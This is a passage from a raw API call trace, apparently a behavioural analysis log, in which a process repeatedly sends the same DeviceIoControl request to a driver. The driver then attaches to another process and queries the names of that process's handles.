(Object=0xfffffa8002ef9060) returned 0x7f [0112.762] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.762] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0112.762] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.762] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.762] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.762] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0112.762] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.762] PsAcquireProcessExitSynchronization () returned 0x0 [0112.762] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.762] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0112.762] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.763] PsReleaseProcessExitSynchronization () returned 0x2 [0112.763] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.763] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0112.763] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0112.763] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.763] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.763] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.763] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.763] PsAcquireProcessExitSynchronization () returned 0x0 [0112.763] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.763] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0112.763] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.763] PsReleaseProcessExitSynchronization () returned 0x2 [0112.763] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.763] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.763] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0112.763] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.763] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.763] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.763] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.763] PsAcquireProcessExitSynchronization () returned 0x0 [0112.763] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.763] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0112.763] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.763] PsReleaseProcessExitSynchronization () returned 0x2 [0112.763] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.763] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.763] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0112.763] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.763] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.763] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.764] PsAcquireProcessExitSynchronization () returned 0x0 [0112.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.764] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0112.764] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.764] PsReleaseProcessExitSynchronization () returned 0x2 [0112.764] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.764] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.764] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0112.764] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.764] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.764] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.764] PsAcquireProcessExitSynchronization () returned 0x0 [0112.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.764] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0112.764] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.764] PsReleaseProcessExitSynchronization () returned 0x2 [0112.764] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.764] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.764] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0112.764] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.764] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.764] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.764] PsAcquireProcessExitSynchronization () returned 0x0 [0112.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.764] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0112.764] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.764] PsReleaseProcessExitSynchronization () returned 0x2 [0112.764] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.765] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.765] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0112.765] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.765] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.765] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.765] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.765] PsAcquireProcessExitSynchronization () returned 0x0 [0112.765] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.765] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0112.765] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.765] PsReleaseProcessExitSynchronization () returned 0x2 [0112.765] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.765] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.765] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0112.765] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.765] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.765] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.765] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.765] PsAcquireProcessExitSynchronization () returned 0x0 [0112.765] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.765] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0112.765] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.765] PsReleaseProcessExitSynchronization () returned 0x2 [0112.765] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.765] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.765] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0112.765] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.765] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.765] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.765] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.766] PsAcquireProcessExitSynchronization () returned 0x0 [0112.766] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.766] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0112.766] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.766] PsReleaseProcessExitSynchronization () returned 0x2 [0112.766] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.766] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.766] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0112.766] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.766] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.766] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.766] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.766] PsAcquireProcessExitSynchronization () returned 0x0 [0112.766] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.766] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0112.766] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.766] PsReleaseProcessExitSynchronization () returned 0x2 [0112.766] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.766] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.766] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0112.766] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.766] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.766] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.766] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.766] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.766] PsAcquireProcessExitSynchronization () returned 0x0 [0112.766] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.766] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0112.766] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.766] PsReleaseProcessExitSynchronization () returned 0x2 [0112.766] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.766] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.767] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0112.767] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.767] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.767] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.767] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.767] PsAcquireProcessExitSynchronization () returned 0x0 [0112.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.767] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0112.767] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.767] PsReleaseProcessExitSynchronization () returned 0x2 [0112.767] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.767] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.767] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0112.767] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.767] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.767] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.767] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.767] PsAcquireProcessExitSynchronization () returned 0x0 [0112.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.767] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0112.767] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.767] PsReleaseProcessExitSynchronization () returned 0x2 [0112.767] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.767] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.767] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0112.767] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.767] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.767] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.767] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.767] PsAcquireProcessExitSynchronization () returned 0x0 [0112.767] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.768] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0112.768] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.768] PsReleaseProcessExitSynchronization () returned 0x2 [0112.768] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.768] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.768] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0112.768] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.768] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.768] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.768] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.768] PsAcquireProcessExitSynchronization () returned 0x0 [0112.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880055905d0) [0112.768] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0112.768] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.768] PsReleaseProcessExitSynchronization () returned 0x2 [0112.768] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0112.768] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.768] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0112.768] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.768] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0112.768] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0112.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 